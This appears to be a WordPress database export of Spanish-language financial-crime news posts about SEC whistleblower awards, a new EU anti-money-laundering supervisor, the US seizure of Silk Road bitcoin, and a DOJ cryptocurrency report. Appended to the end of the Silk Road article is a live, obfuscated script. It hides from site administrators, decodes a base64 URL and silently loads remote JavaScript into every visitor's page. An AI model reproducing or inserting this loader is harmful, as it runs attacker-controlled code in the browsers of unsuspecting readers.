Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones 